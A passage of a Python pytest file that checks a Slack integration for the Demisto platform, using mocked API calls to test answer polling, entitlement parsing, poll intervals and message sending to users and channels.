mocker.patch.object(demisto, 'handleEntitlementForUser')
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'add_info_headers')
mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25))
requests_mock.post(
'https://oproxy.demisto.ninja/slack-poll',
json={'payload': PAYLOAD_JSON}
)
integration_context = get_integration_context()
integration_context['questions'] = js.dumps([{
'thread': 'cool',
'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43',
'reply': 'Thanks bro',
'expiry': '3000-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:34:25'
}])
set_integration_context(integration_context)
# Arrange
Slack.check_for_answers()
result_args = demisto.handleEntitlementForUser.call_args_list[0][0]
# Assert
assert demisto.handleEntitlementForUser.call_count == 1
assert demisto.setIntegrationContext.call_count == 1
assert requests_mock._adapter.last_request.proxies == proxy_dict
assert result_args[0] == '22'
assert result_args[1] == 'e95cb5a1-e394-4bc5-8ce0-508973aaf298'
assert result_args[2] == 'spengler@ghostbusters.example.com'
assert result_args[3] == 'Eyy'
assert result_args[4] == '43'
# Should delete the question
assert demisto.getIntegrationContext()['questions'] == js.dumps([])
def test_check_for_answers_continue(mocker, requests_mock):
import Slack
# Set
mocker.patch.object(demisto, 'handleEntitlementForUser')
mocker.patch.object(demisto, 'error')
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'add_info_headers')
mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25))
requests_mock.post(
'https://oproxy.demisto.ninja/slack-poll',
[{'json': {}, 'status_code': 200},
{'json': 'error', 'status_code': 401},
{'json': {'payload': PAYLOAD_JSON}, 'status_code': 200}]
)
integration_context = get_integration_context()
integration_context['questions'] = js.dumps([{
'thread': 'notcool',
'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44',
'reply': 'Thanks bro',
'expiry': '3000-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:34:25'
}, {
'thread': 'notcool2',
'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe7@30|44',
'reply': 'Thanks bro',
'expiry': '3000-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:34:25'
}, {
'thread': 'cool',
'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43',
'reply': 'Thanks bro',
'expiry': '3000-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:34:25'
}])
set_integration_context(integration_context)
# Arrange
Slack.check_for_answers()
result_args = demisto.handleEntitlementForUser.call_args_list[0][0]
# Assert
assert demisto.handleEntitlementForUser.call_count == 1
assert demisto.setIntegrationContext.call_count == 1
assert demisto.error.call_count == 1
assert result_args[0] == '22'
assert result_args[1] == 'e95cb5a1-e394-4bc5-8ce0-508973aaf298'
assert result_args[2] == 'spengler@ghostbusters.example.com'
assert result_args[3] == 'Eyy'
assert result_args[4] == '43'
# Should delete the question
assert demisto.getIntegrationContext()['questions'] == js.dumps([{
'thread': 'notcool',
'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44',
'reply': 'Thanks bro',
'expiry': '3000-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:38:25'
}, {
'thread': 'notcool2',
'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe7@30|44',
'reply': 'Thanks bro',
'expiry': '3000-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:38:25'
}])
@pytest.mark.parametrize('sent, expected_minutes', [(None, 1), ('2019-09-26 18:37:25', 1), ('2019-09-26 18:10:25', 2),
('2019-09-26 17:38:24', 5), ('2019-09-25 18:10:25', 5)])
def test_get_poll_minutes(sent, expected_minutes):
from Slack import get_poll_minutes
# Set
current = datetime.datetime(2019, 9, 26, 18, 38, 25)
# Arrange
minutes = get_poll_minutes(current, sent)
# Assert
assert minutes == expected_minutes
def test_check_for_answers_no_answer(mocker, requests_mock):
import Slack
# Set
mocker.patch.object(demisto, 'handleEntitlementForUser')
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'add_info_headers')
mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25))
requests_mock.post(
'https://oproxy.demisto.ninja/slack-poll',
json={}
)
integration_context = get_integration_context()
integration_context['questions'] = js.dumps([{
'thread': 'cool',
'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43',
'reply': 'Thanks bro',
'expiry': '3000-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:34:25'
}, {
'thread': 'notcool',
'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44',
'reply': 'Thanks bro',
'expiry': '3000-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:34:25'
}])
set_integration_context(integration_context)
# Arrange
Slack.check_for_answers()
# Assert
assert demisto.handleEntitlementForUser.call_count == 0
assert demisto.setIntegrationContext.call_count == 1
# Should not delete the question
assert demisto.getIntegrationContext()['questions'] == js.dumps([{
'thread': 'cool',
'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43',
'reply': 'Thanks bro',
'expiry': '3000-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:38:25'
}, {
'thread': 'notcool',
'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44',
'reply': 'Thanks bro',
'expiry': '3000-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:38:25'
}])
def test_check_for_answers_no_polling(mocker, requests_mock):
import Slack
# Set
mocker.patch.object(demisto, 'handleEntitlementForUser')
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'add_info_headers')
mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25))
requests_mock.post(
'https://oproxy.demisto.ninja/slack-poll',
json={}
)
integration_context = get_integration_context()
integration_context['questions'] = js.dumps([{
'thread': 'cool',
'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43',
'reply': 'Thanks bro',
'expiry': '3000-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:38:00'
}, {
'thread': 'notcool',
'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44',
'reply': 'Thanks bro',
'expiry': '3000-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:38:01'
}])
set_integration_context(integration_context)
# Arrange
Slack.check_for_answers()
# Assert
assert demisto.handleEntitlementForUser.call_count == 0
assert demisto.setIntegrationContext.call_count == 0
assert demisto.getIntegrationContext.call_count == 1
# Should not delete the question
assert demisto.getIntegrationContext()['questions'] == js.dumps([{
'thread': 'cool',
'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43',
'reply': 'Thanks bro',
'expiry': '3000-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:38:00'
}, {
'thread': 'notcool',
'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44',
'reply': 'Thanks bro',
'expiry': '3000-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:38:01'
}])
def test_check_for_answers_no_answer_expires(mocker, requests_mock):
import Slack
# Set
mocker.patch.object(demisto, 'handleEntitlementForUser')
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(Slack, 'add_info_headers')
mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25))
requests_mock.post(
'https://oproxy.demisto.ninja/slack-poll',
json={}
)
integration_context = get_integration_context()
integration_context['questions'] = js.dumps([{
'thread': 'cool',
'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43',
'reply': 'Thanks bro',
'expiry': '3000-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:34:25'
}, {
'thread': 'notcool',
'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44',
'reply': 'Thanks bro',
'expiry': '2019-09-26 18:35:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:34:25'
}])
set_integration_context(integration_context)
# Arrange
Slack.check_for_answers()
result_args = demisto.handleEntitlementForUser.call_args_list[0][0]
# Assert
assert demisto.handleEntitlementForUser.call_count == 1
assert demisto.setIntegrationContext.call_count == 1
assert result_args[0] == '30'
assert result_args[1] == '4404dae8-2d45-46bd-85fa-64779c12abe8'
assert result_args[2] == ''
assert result_args[3] == 'NoResponse'
assert result_args[4] == '44'
# Should not delete the question
assert demisto.getIntegrationContext()['questions'] == js.dumps([{
'thread': 'cool',
'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43',
'reply': 'Thanks bro',
'expiry': '3000-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:38:25'
}])
def test_check_for_answers_error(mocker, requests_mock):
import Slack
# Set
mocker.patch.object(demisto, 'handleEntitlementForUser')
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'error')
mocker.patch.object(Slack, 'add_info_headers')
mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25))
requests_mock.post(
'https://oproxy.demisto.ninja/slack-poll',
json='error',
status_code=401
)
integration_context = get_integration_context()
integration_context['questions'] = js.dumps([{
'thread': 'cool',
'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43',
'expiry': '3000-09-26 18:38:25',
'default_response': 'NoResponse'
}, {
'thread': 'notcool',
'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44',
'expiry': '3000-09-26 18:38:25',
'default_response': 'NoResponse'
}])
set_integration_context(integration_context)
# Arrange
Slack.check_for_answers()
# Assert
assert demisto.handleEntitlementForUser.call_count == 0
assert demisto.setIntegrationContext.call_count == 1
assert demisto.error.call_count == 2
# Should not delete the question
assert demisto.getIntegrationContext()['questions'] == js.dumps([{
'thread': 'cool',
'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43',
'expiry': '3000-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:38:25'
}, {
'thread': 'notcool',
'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44',
'expiry': '3000-09-26 18:38:25',
'default_response': 'NoResponse',
'last_poll_time': '2019-09-26 18:38:25'
}])
def test_check_for_answers_handle_entitlement_error(mocker, requests_mock):
import Slack
# Set
mocker.patch.object(demisto, 'handleEntitlementForUser', side_effect=InterruptedError())
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'error')
mocker.patch.object(Slack, 'add_info_headers')
mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25))
requests_mock.post(
'https://oproxy.demisto.ninja/slack-poll',
json={'payload': PAYLOAD_JSON},
status_code=200
)
integration_context = get_integration_context()
integration_context['questions'] = js.dumps([{
'thread': 'notcool',
'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44',
'expiry': '3000-09-26 18:38:25',
'default_response': 'NoResponse'
}])
set_integration_context(integration_context)
# Arrange
Slack.check_for_answers()
# Assert
assert demisto.handleEntitlementForUser.call_count == 1
assert demisto.setIntegrationContext.call_count == 1
assert demisto.error.call_count == 1
# Should not delete the question
assert demisto.getIntegrationContext()['questions'] == js.dumps([])
@pytest.mark.asyncio
async def test_check_entitlement(mocker):
from Slack import check_and_handle_entitlement
# Set
mocker.patch.object(demisto, 'handleEntitlementForUser')
user = {
'id': 'U123456',
'name': 'test',
'profile': {
'email': 'test@demisto.com'
}
}
message1 = 'hi test@demisto.com 4404dae8-2d45-46bd-85fa-64779c12abe8@e093ba05-3f3c-402e-81a7-149db969be5d goodbye'
message2 = 'hi test@demisto.com 4404dae8-2d45-46bd-85fa-64779c12abe8@22 goodbye'
message3 = 'hi test@demisto.com 4404dae8-2d45-46bd-85fa-64779c12abe8@e093ba05-3f3c-402e-81a7-149db969be5d|4 goodbye'
message4 = 'hi test@demisto.com 4404dae8-2d45-46bd-85fa-64779c12abe8@22|43 goodbye'
message5 = 'hi test@demisto.com 43434@e093ba05-3f3c-402e-81a7-149db969be5d goodbye'
message6 = 'hi test@demisto.com name-of-someone@mail-of-someone goodbye'
# Arrange
result1 = await check_and_handle_entitlement(message1, user, '')
result2 = await check_and_handle_entitlement(message2, user, '')
result3 = await check_and_handle_entitlement(message3, user, '')
result4 = await check_and_handle_entitlement(message4, user, '')
result5 = await check_and_handle_entitlement(message5, user, '')
result6 = await check_and_handle_entitlement(message6, user, '')
result1_args = demisto.handleEntitlementForUser.call_args_list[0][0]
result2_args = demisto.handleEntitlementForUser.call_args_list[1][0]
result3_args = demisto.handleEntitlementForUser.call_args_list[2][0]
result4_args = demisto.handleEntitlementForUser.call_args_list[3][0]
assert result1 == 'Thank you for your response.'
assert result2 == 'Thank you for your response.'
assert result3 == 'Thank you for your response.'
assert result4 == 'Thank you for your response.'
assert result5 == ''
assert result6 == ''
assert demisto.handleEntitlementForUser.call_count == 4
assert result1_args[0] == 'e093ba05-3f3c-402e-81a7-149db969be5d' # incident ID
assert result1_args[1] == '4404dae8-2d45-46bd-85fa-64779c12abe8' # GUID
assert result1_args[2] == 'test@demisto.com' # email
assert result1_args[3] == 'hi test@demisto.com goodbye' # content
assert result1_args[4] == '' # task id
assert result2_args[0] == '22'
assert result2_args[1] == '4404dae8-2d45-46bd-85fa-64779c12abe8'
assert result2_args[2] == 'test@demisto.com'
assert result2_args[3] == 'hi test@demisto.com goodbye'
assert result2_args[4] == ''
assert result3_args[0] == 'e093ba05-3f3c-402e-81a7-149db969be5d'
assert result3_args[1] == '4404dae8-2d45-46bd-85fa-64779c12abe8'
assert result3_args[2] == 'test@demisto.com'
assert result3_args[3] == 'hi test@demisto.com goodbye'
assert result3_args[4] == '4'
assert result4_args[0] == '22'
assert result4_args[1] == '4404dae8-2d45-46bd-85fa-64779c12abe8'
assert result4_args[2] == 'test@demisto.com'
assert result4_args[3] == 'hi test@demisto.com goodbye'
assert result4_args[4] == '43'
@pytest.mark.asyncio
async def test_check_entitlement_with_context(mocker):
from Slack import check_and_handle_entitlement
# Set
mocker.patch.object(demisto, 'handleEntitlementForUser')
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
user = {
'id': 'U123456',
'name': 'test',
'profile': {
'email': 'test@demisto.com'
}
}
integration_context = get_integration_context()
integration_context['questions'] = js.dumps([{
'thread': 'cool',
'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@22|43'
}, {
'thread': 'notcool',
'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44'
}])
set_integration_context(integration_context)
# Arrange
await check_and_handle_entitlement('hola', user, 'cool')
result_args = demisto.handleEntitlementForUser.call_args_list[0][0]
# Assert
assert demisto.handleEntitlementForUser.call_count == 1
assert result_args[0] == '22'
assert result_args[1] == '4404dae8-2d45-46bd-85fa-64779c12abe8'
assert result_args[2] == 'test@demisto.com'
assert result_args[3] == 'hola'
assert result_args[4] == '43'
# Should delete the question
assert demisto.getIntegrationContext()['questions'] == js.dumps([{
'thread': 'notcool',
'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44'
}])
def test_send_request(mocker):
import Slack
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
elif method == 'conversations.list':
return {'channels': js.loads(CONVERSATIONS)}
elif method == 'im.open':
return {'channel': {'id': 'im_channel'}}
return {}
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(Slack, 'send_file', return_value='neat')
mocker.patch.object(Slack, 'send_message', return_value='cool')
# Arrange
user_res = Slack.slack_send_request('spengler', None, None, message='Hi')
channel_res = Slack.slack_send_request(None, 'general', None, file='file')
user_args = Slack.send_message.call_args[0]
channel_args = Slack.send_file.call_args[0]
calls = slack.WebClient.api_call.call_args_list
users_call = [c for c in calls if c[0][0] == 'users.list']
conversations_call = [c for c in calls if c[0][0] == 'conversations.list']
# Assert
assert len(users_call) == 0
assert len(conversations_call) == 0
assert Slack.send_message.call_count == 1
assert Slack.send_file.call_count == 1
assert user_args[0] == ['im_channel']
assert user_args[1] == ''
assert user_args[2] is False
assert user_args[4] == 'Hi'
assert user_args[5] == ''
assert channel_args[0] == ['C012AB3CD']
assert channel_args[1] == 'file'
assert channel_args[3] == ''
assert user_res == 'cool'
assert channel_res == 'neat'
def test_send_request_different_name(mocker):
import Slack
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
elif method == 'conversations.list':
return {'channels': js.loads(CONVERSATIONS)}
elif method == 'im.open':
return {'channel': {'id': 'im_channel'}}
return {}
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(Slack, 'send_message', return_value='cool')
# Arrange
channel_res = Slack.slack_send_request(None, 'incident-684', None, message='Hi')
channel_args = Slack.send_message.call_args[0]
calls = slack.WebClient.api_call.call_args_list
users_call = [c for c in calls if c[0][0] == 'users.list']
conversations_call = [c for c in calls if c[0][0] == 'conversations.list']
# Assert
assert len(users_call) == 0
assert len(conversations_call) == 0
assert Slack.send_message.call_count == 1
assert channel_args[0] == ['GKB19PA3V']
assert channel_args[1] == ''
assert channel_args[2] is False
assert channel_args[4] == 'Hi'
assert channel_args[5] == ''
assert channel_res == 'cool'
def test_send_request_with_severity(mocker):
import Slack
mocker.patch.object(demisto, 'params', return_value={'incidentNotificationChannel': 'general',
'min_severity': 'High', 'notify_incidents': True})
Slack.init_globals()
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
elif method == 'conversations.list':
return {'channels': js.loads(CONVERSATIONS)}
elif method == 'im.open':
return {'channel': {'id': 'im_channel'}}
return {}
mocker.patch.object(demisto, 'args', return_value={'severity': '3', 'message': '!!!',
'messageType': 'incidentOpened'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'results')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'})
# Arrange
Slack.slack_send()
send_args = Slack.send_message.call_args[0]
results = demisto.results.call_args_list[0][0]
calls = slack.WebClient.api_call.call_args_list
users_call = [c for c in calls if c[0][0] == 'users.list']
conversations_call = [c for c in calls if c[0][0] == 'conversations.list']
# Assert
assert len(users_call) == 0
assert len(conversations_call) == 0
assert Slack.send_message.call_count == 1
assert send_args[0] == ['C012AB3CD']
assert send_args[1] is None
assert send_args[2] is False
assert send_args[4] == '!!!'
assert send_args[5] == ''
assert results[0]['Contents'] == 'Message sent to Slack successfully.\nThread ID is: cool'
def test_send_request_with_notification_channel(mocker):
import Slack
mocker.patch.object(demisto, 'params', return_value={'incidentNotificationChannel': 'general',
'min_severity': 'High', 'notify_incidents': True})
Slack.init_globals()
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
elif method == 'conversations.list':
return {'channels': js.loads(CONVERSATIONS)}
elif method == 'im.open':
return {'channel': {'id': 'im_channel'}}
return {}
mocker.patch.object(demisto, 'args', return_value={'channel': 'incidentNotificationChannel',
'severity': '4', 'message': '!!!',
'messageType': 'incidentOpened'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'results')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'})
# Arrange
Slack.slack_send()
send_args = Slack.send_message.call_args[0]
results = demisto.results.call_args_list[0][0]
calls = slack.WebClient.api_call.call_args_list
users_call = [c for c in calls if c[0][0] == 'users.list']
conversations_call = [c for c in calls if c[0][0] == 'conversations.list']
# Assert
assert len(users_call) == 0
assert len(conversations_call) == 0
assert Slack.send_message.call_count == 1
assert send_args[0] == ['C012AB3CD']
assert send_args[1] is None
assert send_args[2] is False
assert send_args[4] == '!!!'
assert send_args[5] == ''
assert results[0]['Contents'] == 'Message sent to Slack successfully.\nThread ID is: cool'
@pytest.mark.parametrize('notify', [False, True])
def test_send_request_with_notification_channel_as_dest(mocker, notify):
import Slack
mocker.patch.object(demisto, 'params', return_value={'incidentNotificationChannel': 'general',
'min_severity': 'High', 'notify_incidents': notify})
Slack.init_globals()
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
elif method == 'conversations.list':
return {'channels': js.loads(CONVERSATIONS)}
elif method == 'im.open':
return {'channel': {'id': 'im_channel'}}
return {}
mocker.patch.object(demisto, 'args', return_value={'channel': 'general', 'message': '!!!'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'results')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'})
# Arrange
Slack.slack_send()
send_args = Slack.send_message.call_args[0]
results = demisto.results.call_args_list[0][0]
calls = slack.WebClient.api_call.call_args_list
users_call = [c for c in calls if c[0][0] == 'users.list']
conversations_call = [c for c in calls if c[0][0] == 'conversations.list']
# Assert
assert len(users_call) == 0
assert len(conversations_call) == 0
assert Slack.send_message.call_count == 1
assert send_args[0] == ['C012AB3CD']
assert send_args[1] is None
assert send_args[2] is False
assert send_args[4] == '!!!'
assert send_args[5] == ''
assert results[0]['Contents'] == 'Message sent to Slack successfully.\nThread ID is: cool'
def test_send_request_with_entitlement(mocker):
import Slack
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
elif method == 'conversations.list':
return {'channels': js.loads(CONVERSATIONS)}
elif method == 'im.open':
return {'channel': {'id': 'im_channel'}}
return {}
mocker.patch.object(demisto, 'args', return_value={
'message': js.dumps({
'message': 'hi test@demisto.com',
'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@22|43',
'reply': 'Thanks bro',
'expiry': '2019-09-26 18:38:25',
'default_response': 'NoResponse'}),
'to': 'spengler'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'results')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'})
mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25))
questions = [{
'thread': 'cool',
'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@22|43',
'reply': 'Thanks bro',
'expiry': '2019-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse'
}]
# Arrange
Slack.slack_send()
send_args = Slack.send_message.call_args[0]
results = demisto.results.call_args_list[0][0]
calls = slack.WebClient.api_call.call_args_list
users_call = [c for c in calls if c[0][0] == 'users.list']
conversations_call = [c for c in calls if c[0][0] == 'conversations.list']
# Assert
assert len(users_call) == 0
assert len(conversations_call) == 0
assert Slack.send_message.call_count == 1
assert send_args[0] == ['im_channel']
assert send_args[1] is None
assert send_args[2] is False
assert send_args[4] == 'hi test@demisto.com'
assert send_args[5] == ''
assert results[0]['Contents'] == 'Message sent to Slack successfully.\nThread ID is: cool'
assert demisto.getIntegrationContext()['questions'] == js.dumps(questions)
def test_send_request_with_entitlement_blocks(mocker):
import Slack
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
elif method == 'conversations.list':
return {'channels': js.loads(CONVERSATIONS)}
elif method == 'im.open':
return {'channel': {'id': 'im_channel'}}
return {}
mocker.patch.object(demisto, 'args', return_value={
'blocks': js.dumps({
'blocks': js.dumps(BLOCK_JSON),
'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43',
'reply': 'Thanks bro',
'expiry': '2019-09-26 18:38:25',
'default_response': 'NoResponse'}),
'to': 'spengler'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'results')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'})
mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25))
questions = [{
'thread': 'cool',
'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43',
'reply': 'Thanks bro',
'expiry': '2019-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse'
}]
# Arrange
Slack.slack_send()
send_args = Slack.send_message.call_args[0]
results = demisto.results.call_args_list[0][0]
calls = slack.WebClient.api_call.call_args_list
users_call = [c for c in calls if c[0][0] == 'users.list']
conversations_call = [c for c in calls if c[0][0] == 'conversations.list']
# Assert
assert len(users_call) == 0
assert len(conversations_call) == 0
assert Slack.send_message.call_count == 1
assert send_args[0] == ['im_channel']
assert send_args[1] is None
assert send_args[2] is False
assert send_args[4] == ''
assert send_args[6] == js.dumps(BLOCK_JSON)
assert results[0]['Contents'] == 'Message sent to Slack successfully.\nThread ID is: cool'
assert demisto.getIntegrationContext()['questions'] == js.dumps(questions)
def test_send_request_with_entitlement_blocks_message(mocker):
import Slack
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
elif method == 'conversations.list':
return {'channels': js.loads(CONVERSATIONS)}
elif method == 'im.open':
return {'channel': {'id': 'im_channel'}}
return {}
mocker.patch.object(demisto, 'args', return_value={
'message': 'wat up',
'blocks': js.dumps({
'blocks': js.dumps(BLOCK_JSON),
'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43',
'reply': 'Thanks bro',
'expiry': '2019-09-26 18:38:25',
'default_response': 'NoResponse'}),
'to': 'spengler'})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'results')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'})
mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25))
questions = [{
'thread': 'cool',
'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43',
'reply': 'Thanks bro',
'expiry': '2019-09-26 18:38:25',
'sent': '2019-09-26 18:38:25',
'default_response': 'NoResponse'
}]
# Arrange
Slack.slack_send()
send_args = Slack.send_message.call_args[0]
results = demisto.results.call_args_list[0][0]
calls = slack.WebClient.api_call.call_args_list
users_call = [c for c in calls if c[0][0] == 'users.list']
conversations_call = [c for c in calls if c[0][0] == 'conversations.list']
# Assert
assert len(users_call) == 0
assert len(conversations_call) == 0
assert Slack.send_message.call_count == 1
assert send_args[0] == ['im_channel']
assert send_args[1] is None
assert send_args[2] is False
assert send_args[4] == 'wat up'
assert send_args[6] == js.dumps(BLOCK_JSON)
